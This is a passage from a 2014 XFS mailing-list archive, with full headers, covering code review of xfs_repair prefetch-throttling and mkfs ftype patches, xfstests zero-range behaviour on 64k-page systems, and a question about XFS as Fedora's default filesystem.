= malloc(thread_count * sizeof(work_queue_t)); > + for (i = 0, agno = 0; i < thread_count; i++) { > + create_work_queue(&queues[i], mp, 1); > + pf_args[0] = NULL; > + for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; > + j++, agno++) { > + pf_args[0] = start_inode_prefetch(agno, dirs_only, > + pf_args[0]); > + queue_work(&queues[i], func, agno, pf_args[0]); > + } > + } > + /* > + * wait for workers to complete > + */ > + for (i = 0; i < thread_count; i++) > + destroy_work_queue(&queues[i]); > + free(queues); > +} > + > void > wait_for_inode_prefetch( > prefetch_args_t *args) > diff --git a/repair/prefetch.h b/repair/prefetch.h > index 44a406c..b837752 100644 > --- a/repair/prefetch.h > +++ b/repair/prefetch.h > @@ -4,6 +4,7 @@ > #include > #include "incore.h" > > +struct work_queue; > > extern int do_prefetch; > > @@ -41,6 +42,15 @@ start_inode_prefetch( > prefetch_args_t *prev_args); > > void > +do_inode_prefetch( > + struct xfs_mount *mp, > + int stride, > + void (*func)(struct work_queue *, > + xfs_agnumber_t, void *), > + bool check_cache, > + bool dirs_only); > + > +void > wait_for_inode_prefetch( > prefetch_args_t *args); > > -- > 1.8.4.rc3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Thu Feb 27 08:08:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 51AAD29DF7 for ; Thu, 27 Feb 2014 08:08:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 26D4A30408A for ; Thu, 27 Feb 2014 06:08:50 -0800 (PST) X-ASG-Debug-ID: 1393510126-04bdf05daaaaec0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id QsgFUKfEOv2Shxmn for ; Thu, 27 Feb 2014 06:08:46 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 106BF63C59A5; Thu, 27 Feb 2014 08:08:46 -0600 (CST) Message-ID: <530F46ED.9010006@sandeen.net> Date: Thu, 27 Feb 2014 08:08:45 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: Christoph Hellwig , Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs References: <530C29C7.90001@redhat.com> <20140226021114.GA26022@infradead.org> <530E3282.7000703@sandeen.net> <20140227071154.GK29907@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs In-Reply-To: <20140227071154.GK29907@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393510126 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145570 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/27/14, 1:11 AM, Dave Chinner wrote: > On Wed, Feb 26, 2014 at 12:29:22PM -0600, Eric Sandeen wrote: >> On 2/25/14, 8:11 PM, Christoph Hellwig wrote: >>> On Mon, Feb 24, 2014 at 11:27:35PM -0600, Eric Sandeen wrote: >>>> xfs_set_maxicount() overflowed fairly easily for large filesystems >>>> and large maxicount; we started out by multiplying dblocks by >>>> the percentage, *then* dividing by 100, and never checked for >>>> an overflow. The calculations were also, IMHO, a little hard >>>> to follow. >>> >>> Would be useful to get this test case into xfstests.. >> >> Ok so I was going on Dave's assertion about that. ;) >> >> To overflow, we'd need dblocks * 100 to be > 2^64-1: >> >> so dblocks would need to be > (2^64-1)/100 >> >> for 4k blocks that's 655 exabytes. Maybe not so possible after all ;) > > Until the block count is corrupted by fsfuzzer? ;) > >> Dave, maybe just removing the open-code is enough here. > > Sure, but I still like the conversion to use mult_frac.... Ok, I do too. Just a bit resistant to fixing what ain't broke. I'll see if I can write up a test to be sure we're doing sane things statfs/growfs with the change. -Eric > Cheers, > > Dave. > From bfoster@redhat.com Thu Feb 27 08:08:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A5C7529DF7 for ; Thu, 27 Feb 2014 08:08:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 35D74AC00E for ; Thu, 27 Feb 2014 06:08:50 -0800 (PST) X-ASG-Debug-ID: 1393510129-04bdf05daaaaed0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6XaoUEmlsA6RqMFP for ; Thu, 27 Feb 2014 06:08:49 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RE8mTt031510 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 27 Feb 2014 09:08:48 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1RE8l4o011574; Thu, 27 Feb 2014 09:08:47 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id BF5BF124491; Thu, 27 Feb 2014 09:08:46 -0500 (EST) Date: Thu, 27 Feb 2014 09:08:46 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/10] repair: prefetch runs too far ahead Message-ID: <20140227140846.GB62463@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 09/10] repair: prefetch runs too far ahead References: <1393494675-30194-1-git-send-email-david@fromorbit.com> <1393494675-30194-10-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393494675-30194-10-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393510129 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Feb 27, 2014 at 08:51:14PM +1100, Dave Chinner wrote: > From: Dave Chinner > Hmm, I replied to this one in the previous thread, but now I notice that it apparently never made it to the list. Dave, did you happen to see that in your inbox? Anyways, I had a couple minor comments/questions that I'll duplicate here (which probably don't require another repost)... > When trying to work out why a non-crc filesystem took 1m57 to repair > and the same CRC enabled filesystem took 11m35 to repair, I noticed > that the was way to much CRC checking going on. Prefetched buffers there > should not be being CRCed, yet shortly after the starting this began ^? ^? > to happen. perf profiling also showed up an awful lot of time doing > buffer cache lookups, and the cache profile output indicated that > the hit rate was way below 3%. IOWs, the readahead was getting so > far ahead of the processing that it was thrashing the cache. > > That there is a difference in processing rate between CRC and > non-CRC filesystems is not surprising. What is surprising is the > readahead behaviour - it basically just keeps reading ahead until it > has read everything on an AG, and then it goes on to the next AG, > and reads everything on it, and then goes on to the next AG,.... > > This goes on until it pushes all the buffers the processing threads > need out of the cache, and suddening they start re-reading from disk suddenly > with the various CRC checking verifiers enabled, and we end up going > -really- slow. Yes, threading made up for it a bit, but it's just > wrong. > > Basically, the code assumes that IO is going to be slower than > processing, so it doesn't throttle prefetch across AGs to slow > down prefetch to match the processing rate. > > So, to fix this, don't let a prefetch thread get more than a single > AG ahead of it's processing thread, just like occurs for single > threaded (i.e. -o ag_stride=-1) operation. > > Signed-off-by: Dave Chinner > --- > repair/prefetch.c | 79 ++++++++++++++++++++++++++++++++++++++++++------------- > 1 file changed, 61 insertions(+), 18 deletions(-) > > diff --git a/repair/prefetch.c b/repair/prefetch.c > index aee6342..7d3efde 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -866,6 +866,48 @@ start_inode_prefetch( > return args; > } > A brief comment before the prefetch_ag_range bits that explain the implicit design constraints (e.g., throttle prefetch based on processing) would be nice. :) > +void > +prefetch_ag_range( > + struct work_queue *work, > + xfs_agnumber_t start_ag, > + xfs_agnumber_t end_ag, > + bool dirs_only, > + void (*func)(struct work_queue *, > + xfs_agnumber_t, void *)) > +{ > + int i; > + struct prefetch_args *pf_args[2]; > + > + pf_args[start_ag & 1] = start_inode_prefetch(start_ag, dirs_only, NULL); > + for (i = start_ag; i < end_ag; i++) { > + /* Don't prefetch end_ag */ > + if (i + 1 < end_ag) > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > + dirs_only, pf_args[i & 1]); > + func(work, i, pf_args[i & 1]); > + } > +} > + > +struct pf_work_args { > + xfs_agnumber_t start_ag; > + xfs_agnumber_t end_ag; > + bool dirs_only; > + void (*func)(struct work_queue *, xfs_agnumber_t, void *); > +}; > + > +static void > +prefetch_ag_range_work( > + struct work_queue *work, > + xfs_agnumber_t unused, > + void *args) > +{ > + struct pf_work_args *wargs = args; > + > + prefetch_ag_range(work, wargs->start_ag, wargs->end_ag, > + wargs->dirs_only, wargs->func); > + free(args); > +} > + > /* > * Do inode prefetch in the most optimal way for the context under which repair > * has been run. > @@ -879,11 +921,9 @@ do_inode_prefetch( > bool check_cache, > bool dirs_only) > { > - int i, j; > - xfs_agnumber_t agno; > + int i; > struct work_queue queue; > struct work_queue *queues; > - struct prefetch_args *pf_args[2]; > > /* > * If the previous phases of repair have not overflowed the buffer > @@ -906,12 +946,8 @@ do_inode_prefetch( > */ > if (!stride) { > queue.mp = mp; > - pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); > - for (i = 0; i < mp->m_sb.sb_agcount; i++) { > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > - dirs_only, pf_args[i & 1]); > - func(&queue, i, pf_args[i & 1]); > - } > + prefetch_ag_range(&queue, 0, mp->m_sb.sb_agcount, > + dirs_only, func); > return; > } > > @@ -919,20 +955,27 @@ do_inode_prefetch( > * create one worker thread for each segment of the volume > */ > queues = malloc(thread_count * sizeof(work_queue_t)); > - for (i = 0, agno = 0; i < thread_count; i++) { > + for (i = 0; i < thread_count; i++) { > + struct pf_work_args *wargs; > + > + wargs = malloc(sizeof(struct pf_work_args)); > + wargs->start_ag = i * stride; > + wargs->end_ag = min((i + 1) * stride, > + mp->m_sb.sb_agcount); > + wargs->dirs_only = dirs_only; > + wargs->func = func; > + > create_work_queue(&queues[i], mp, 1); > - pf_args[0] = NULL; > - for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; > - j++, agno++) { > - pf_args[0] = start_inode_prefetch(agno, dirs_only, > - pf_args[0]); > - queue_work(&queues[i], func, agno, pf_args[0]); > - } > + queue_work(&queues[i], prefetch_ag_range_work, 0, wargs); > + > + if (wargs->end_ag >= mp->m_sb.sb_agcount) > + break; > } Ok, so instead of giving prefetch a green light on every single AG (and queueing the "work" functions), we queue a series of prefetch(next) then do_work() instances based on the stride. The prefetch "greenlight" (to distinguish from the prefetch itself) is now offloaded to the threads doing the work, which will only green light the next AG in the sequence. The code looks reasonable to me. Does the non-crc fs referenced in the commit log to repair at 1m57 still run at that rate with this enabled? Brian > + > /* > * wait for workers to complete > */ > - for (i = 0; i < thread_count; i++) > + for (; i >= 0; i--) > destroy_work_queue(&queues[i]); > free(queues); > } > -- > 1.8.4.rc3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Thu Feb 27 08:17:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B3FD929DF7 for ; Thu, 27 Feb 2014 08:17:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 65865304066 for ; Thu, 27 Feb 2014 06:17:46 -0800 (PST) X-ASG-Debug-ID: 1393510664-04bdf05dacabc60001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id URWgpgQAudHsTKZG for ; Thu, 27 Feb 2014 06:17:44 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 340E863C59A5; Thu, 27 Feb 2014 08:17:44 -0600 (CST) Message-ID: <530F4907.5010808@sandeen.net> Date: Thu, 27 Feb 2014 08:17:43 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 2/2] mkfs: proto file creation does not set ftype correctly References: <1393494344-30056-1-git-send-email-david@fromorbit.com> <1393494344-30056-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/2] mkfs: proto file creation does not set ftype correctly In-Reply-To: <1393494344-30056-3-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393510664 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145570 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/27/14, 3:45 AM, Dave Chinner wrote: > From: Dave Chinner > > Hence running xfs_repair on a ftype enable filesystem that has > contents created by a proto file will throw warnings on mismatched > ftype entries and correct them. xfs/031 fails due to this problem. > > Fix it by settin gup the xname structure with the correct type "setting up" > fields. > > Signed-off-by: Dave Chinner huh, surprised that hung out there for so long ;) I guess the root inode is handled by core mkfs code, right? (around line 544) And I notice that "r" filetypes aren't documented in the manpage but that's a different issue. As long as I'm right about the root inode, Reviewed-by: Eric Sandeen > --- > mkfs/proto.c | 8 ++++++++ > 1 file changed, 8 insertions(+) > > diff --git a/mkfs/proto.c b/mkfs/proto.c > index 4cc0df6..4d3680d 100644 > --- a/mkfs/proto.c > +++ b/mkfs/proto.c > @@ -438,6 +438,7 @@ parseproto( > creds.cr_gid = (int)getnum(pp); > xname.name = (uchar_t *)name; > xname.len = name ? strlen(name) : 0; > + xname.type = 0; > tp = libxfs_trans_alloc(mp, 0); > flags = XFS_ILOG_CORE; > xfs_bmap_init(&flist, &first); > @@ -453,6 +454,7 @@ parseproto( > if (buf) > free(buf); > libxfs_trans_ijoin(tp, pip, 0); > + xname.type = XFS_DIR3_FT_REG_FILE; > newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); > libxfs_trans_ihold(tp, pip); > break; > @@ -469,6 +471,7 @@ parseproto( > > libxfs_trans_ijoin(tp, pip, 0); > > + xname.type = XFS_DIR3_FT_REG_FILE; > newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); > libxfs_trans_ihold(tp, pip); > libxfs_trans_log_inode(tp, ip, flags); > @@ -490,6 +493,7 @@ parseproto( > fail(_("Inode allocation failed"), error); > } > libxfs_trans_ijoin(tp, pip, 0); > + xname.type = XFS_DIR3_FT_BLKDEV; > newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); > libxfs_trans_ihold(tp, pip); > flags |= XFS_ILOG_DEV; > @@ -504,6 +508,7 @@ parseproto( > if (error) > fail(_("Inode allocation failed"), error); > libxfs_trans_ijoin(tp, pip, 0); > + xname.type = XFS_DIR3_FT_CHRDEV; > newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); > libxfs_trans_ihold(tp, pip); > flags |= XFS_ILOG_DEV; > @@ -516,6 +521,7 @@ parseproto( > if (error) > fail(_("Inode allocation failed"), error); > libxfs_trans_ijoin(tp, pip, 0); > + xname.type = XFS_DIR3_FT_FIFO; > newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); > libxfs_trans_ihold(tp, pip); > break; > @@ -529,6 +535,7 @@ parseproto( > fail(_("Inode allocation failed"), error); > flags |= newfile(tp, ip, &flist, &first, 1, 1, buf, len); > libxfs_trans_ijoin(tp, pip, 0); > + xname.type = XFS_DIR3_FT_SYMLINK; > newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); > libxfs_trans_ihold(tp, pip); > break; > @@ -546,6 +553,7 @@ parseproto( > isroot = 1; > } else { > libxfs_trans_ijoin(tp, pip, 0); > + xname.type = XFS_DIR3_FT_DIR; > newdirent(mp, tp, pip, &xname, ip->i_ino, > &first, &flist); > pip->i_d.di_nlink++; > From sandeen@sandeen.net Thu Feb 27 09:07:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C155F29DF7 for ; Thu, 27 Feb 2014 09:07:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8C42E304043 for ; Thu, 27 Feb 2014 07:06:57 -0800 (PST) X-ASG-Debug-ID: 1393513613-04bdf05dacb0b10001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 8dgkBKEcDndui6nu for ; Thu, 27 Feb 2014 07:06:53 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 59C5063C59A5; Thu, 27 Feb 2014 09:06:53 -0600 (CST) Message-ID: <530F548C.9060302@sandeen.net> Date: Thu, 27 Feb 2014 09:06:52 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Chris Murphy , "xfs@oss.sgi.com" Subject: Re: XFS on Fedora i686, armv7hl References: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> X-ASG-Orig-Subj: Re: XFS on Fedora i686, armv7hl In-Reply-To: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393513613 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145571 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/26/14, 11:37 PM, Chris Murphy wrote: > Hi, > > Fedora is considering XFS as their default file system. They support > three primary architectures: x86_64, i686, and armv7hl. Do XFS devs > have any reservations about XFS as a default file system on either > i686, or arm? As Dave said, we rely on others to do ARM testing for the most part, though I've certainly jumped in and debugged some issues from time to time. It'd be super if Fedora could run the xfstests test suite on arm as part of QE. I'd be more than happy to help get that started if people are interested. -Eric From david@fromorbit.com Thu Feb 27 13:35:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 42D597F3F for ; Thu, 27 Feb 2014 13:35:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 15F48304053 for ; Thu, 27 Feb 2014 11:35:37 -0800 (PST) X-ASG-Debug-ID: 1393529735-04bdf05daacd1e0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id pXWoWWkehGq8iPzW for ; Thu, 27 Feb 2014 11:35:35 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aq91AHCSD1N5LJYePGdsb2JhbABagwaDQ1KEOrN5hVaBHBcDAQEBAR8ZDSiCJQEBBAEjBAsBIyMFCwgBAhgCAgUhAgIPBSUDBxoTh3EHjiCcB6B3FxaBE40sB4JuNYEUBJg3lWwo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 06:05:34 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJ6k1-0000n0-DR; Fri, 28 Feb 2014 06:35:33 +1100 Date: Fri, 28 Feb 2014 06:35:33 +1100 From: Dave Chinner To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: <20140227193533.GB30131@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> <20140226220106.GC29907@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393529735 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145578 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 01:03:09PM +0100, Lukáš Czerner wrote: > On Thu, 27 Feb 2014, Dave Chinner wrote: > > > xfs/242 fails on ppc64 with latest linus tree > > > > OK, that's a different kettle of fish. It's using 64k pages, right? > > 64k pages, yes. .... > > Yeah, ok, the data in all the files is correct - the md5sums all > > match. What's different? Just about all unwritten extents are now > > written (i.e. data) or contain some portion of written extents. > > > > So, ZERO_RANGE has the following size threshold for converting > > blocks to unwritten extents vs just zeroing them: > > > > granularity = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); > > > > So if this is a 64k page size machine, it's going to have different > > extent layout compared to a 4k page size machine. The file data will > > still be the same, the difference will be zeroed blocks instead of > > unwritten blocks, and that's exactly what we see. > > > > IOWs, the result in terms of data the application sees is correct, > > just the extent layout representing that zeroed data is different. > > Ok, so that's yet another difference between xfs and ext4 code which > makes having generic test even more complicated. It actually makes the need for a generic test more important. A generic test should handle the differences between block/page size behaviours - the issue is that xfs/242 was written and tested on 4k page machines, not 64k page machines. We've already got the "multiple" code in _generic_test_punch to increase the size of the regions being worked on, so the simple fix here is to increase the sizes so that 64k page and 4k page behaviour is the same and results in the same extent layout. This is the normal way tests evolve as people run them on different hardware and configurations.... > So as I said before > I'll make the generic test (using _filter_hole_fiemap) and then ext4 > specific test as well to really make sure that the extent > manipulation is right. Which ignores the fact that if you turn off zeroout on ext4 then a generic test can also determine that the extent manipulation is correct. I really don't see the need for an ext4 specific test here... Cheers, Dave. -- Dave Chinner david@fromorbit.com From lists@colorremedies.com Thu Feb 27 13:38:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=TVD_SUBJ_NUM_OBFU_MINFP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A07BB7F3F for ; Thu, 27 Feb 2014 13:38:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7CB61304053 for ; Thu, 27 Feb 2014 11:38:44 -0800 (PST) X-ASG-Debug-ID: 1393529922-04cbb066e5c66a0001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id BC7jBc4XwxY98oRp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Feb 2014 11:38:42 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:61293 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WJ6n3-002C0f-4F; Thu, 27 Feb 2014 12:38:41 -0700 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: XFS on Fedora i686, armv7hl From: Chris Murphy X-ASG-Orig-Subj: Re: XFS on Fedora i686, armv7hl In-Reply-To: <530F548C.9060302@sandeen.net> Date: Thu, 27 Feb 2014 12:38:39 -0700 Cc: xfs@oss.sgi.com, Test Fedora , arm@lists.fedoraproject.org Content-Transfer-Encoding: quoted-printable Message-Id: References: <8A28EF88-012E-4036-BDB6-E76B1CC569A7@colorremedies.com> <530F548C.9060302@sandeen.net> To: Eric Sandeen X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1393529922 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 